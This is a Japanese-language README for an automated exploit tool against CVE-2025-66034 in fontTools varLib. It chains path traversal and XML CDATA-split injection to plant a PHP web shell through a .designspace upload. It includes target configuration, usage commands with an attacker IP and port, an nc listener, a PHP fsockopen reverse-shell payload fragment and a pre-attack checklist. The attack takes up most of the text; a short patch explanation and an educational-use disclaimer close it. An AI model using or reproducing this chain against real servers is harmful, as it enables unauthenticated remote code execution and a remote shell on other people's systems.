
CVE-2025-66034 の自動エクスプロイト。fontTools varLib におけるパストラバーサルと XML インジェクションを連鎖させ、細工された .designspace ファイルのアップロードを介して、認証なしのリモートコード実行を実現します。
fontTools varLib — 任意ファイル書き込み + XMLインジェクション → リモートコード実行
CVE-2025-66034 は、fontTools.varLib の可変フォント生成パイプラインにおける脆弱性です。Web アプリケーションがこのパイプラインを公開し、ユーザーが提供した .designspace ファイルを受け入れる場合、2つの脆弱性が連鎖して 認証なしのリモートコード実行 を達成します。
font_varlib.py は、フォント生成、ペイロード作成、アップロード、リバースシェル送信という完全なエクスプロイトチェーンを自動化します。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| パッケージ | fonttools (pip) |
| 影響を受ける範囲 | >= 4.33.0, < 4.60.2 |
| 修正バージョン | 4.60.2 |
| 深刻度 | 中程度 (CVSS 6.3) |
| 攻撃ベクトル | ローカル (ターゲットへのファイルアップロードが必要) |
| 必要な権限 | なし |
| ユーザー操作 | 必要 (アップロードトリガー) |
| # | プリミティブ | CWE | 根本原因 |
|---|---|---|---|
| 1 | パストラバーサル | CWE-22 | .designspace 内の filename 属性がサニタイズされずに os.path.join() に直接渡される — 絶対パスの場合、意図された出力ディレクトリが完全に無視される |
| 2 | XMLインジェクション | CWE-91 | <labelname> CDATA セクションで分割シーケンス (]]]]><![CDATA[>) を使用可能。XMLパーサーを通過して生のPHPが書き出しファイルに混入する |
攻撃者が悪意のある .designspace を作成
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── パストラバーサル
│ os.path.join(output_dir, absolute_path)
│ → output_dir が無視される → Webルートに書き込み
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XMLインジェクション
CDATA分割で生のPHPを
出力フォントバイナリに埋め込む
│
▼
fontTools.varLib.main() がサーバーサイドでファイルを処理
│
▼
shell.php が Web アクセス可能なディレクトリに書き込まれる
│
▼
GET /files/shell.php → PHP が実行 → リバースシェルコールバック
│
▼
RCE as www-data
Python: 3.9+
依存関係:
pip install fonttools requests
システム:
nc (netcat) — 自動リスナーモードに必要 (--no-listen でスキップ)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
実行前に、font_varlib.py を開き、ファイル上部の設定ブロックをターゲットに合わせて更新してください。各値にはインラインコメントで説明があります。
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
ヒント: Burp Suite で正規のアップロードリクエストをインターセプトし、実行前に
UPLOAD_ENDPOINTと正確なマルチパートフィールド名を確認してください。フィールド名が一致しないと、サーバーは HTTP 200 を返すがシェルが書き込まれないというサイレントエラーが発生します。
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# ターミナル 1 — リスナーを起動
nc -lvnp 4444
# ターミナル 2 — 自動リスナーなしでエクスプロイトを実行
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| 引数 | 必須 | デフォルト | 説明 |
|---|---|---|---|
--ip | ✓ | — | 攻撃者リスナーIP |
--port | ✓ | — | 攻撃者リスナーポート |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | アップロードエンドポイント (POST) | |
--webroot | WEBROOT | サーバーサイドのファイルシステム書き込みパス (Webアクセス可能であること) | |
--shell | SHELL_HOST | 書き込まれたシェルをトリガーするためのベースURL | |
--no-listen | false | 自動ncリスナーをスキップ — トリガーのみ |
fontTools.FontBuilder を使用して、最小限だが構造的に有効な2つの .ttf ソースファイルがプログラム的に生成されます。varLib は可変フォントを処理するために少なくとも2つの軸マスターを必要とします。これにより、ディスク上に実際のフォントファイルを必要とせずにその要件を満たします。
両方の攻撃プリミティブを埋め込んだ悪意のある .designspace XML ファイルが構築されます:
プリミティブ 1 — CDATA分割によるXMLインジェクション:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
シーケンス ]]]]><![CDATA[> は現在のCDATAブロックを終了し、すぐに新しいブロックを開きます。XMLパーサーはこれを有効なマークアップとして処理しますが、varLib はその内容をそのまま出力ファイルにシリアライズするため、フォントバイナリに生のPHPが埋め込まれます。
プリミティブ 2 — filename属性によるパストラバーサル:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib は出力パスを次のように構築します:
output_path = os.path.join(output_dir, filename)
filename が絶対パスの場合、Pythonの os.path.join() は output_dir を完全に無視します。影響を受けるバージョンではサニタイズは適用されません。
.designspace と2つの .ttf ファイルが、Burp で確認したフィールド名を使用して、ターゲットのフォント生成エンドポイントにマルチパートPOSTとして送信されます。
書き込まれた .php ファイルへのHTTP GETはリバースシェルを実行し、fsockopen + proc_open を介して攻撃者の nc リスナーに接続します。ターゲットに curl、wget、Python は必要ありません。
fontTools/varLib/__init__.py (影響を受けるバージョン):
filename = vf.filename # 攻撃者が制御、サニタイズなし
output_path = os.path.join(output_dir, filename) # 絶対パスによるパストラバーサル
vf.save(output_path) # 任意ファイル書き込み
4.60.2 でのパッチ — output_path を構築する前に filename に os.path.basename() を適用し、すべてのパストラバーサルシーケンスを除去。
実行前に、以下のすべてを確認してください:
[ ] ターゲットの fonttools バージョンが 4.33.0 以上 4.60.2 未満である
[ ] ターゲットが .designspace + .ttf ファイルのアップロードを受け付ける
[ ] バックエンドがアップロードされた .designspace に対して fontTools.varLib.main() を呼び出す
[ ] アップロードフォームのフィールド名を Burp で確認済み (designspace + masters)
[ ] WEBROOT が外部から Web アクセス可能である
[ ] WEBROOT が Web プロセス (www-data または同等) によって書き込み可能である
[ ] SHELL_HOST (--shell) が自分のマシンから到達可能である
[ ] ターゲットのホスト名が /etc/hosts に設定されている
| 環境 | fonttools バージョン | 結果 |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ 確認済み |
このツールは教育および許可されたセキュリティ研究目的のみで提供されます。
あなたが所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。著者は、このソフトウェアの誤用またはそれによって生じた損害について一切の責任を負いません。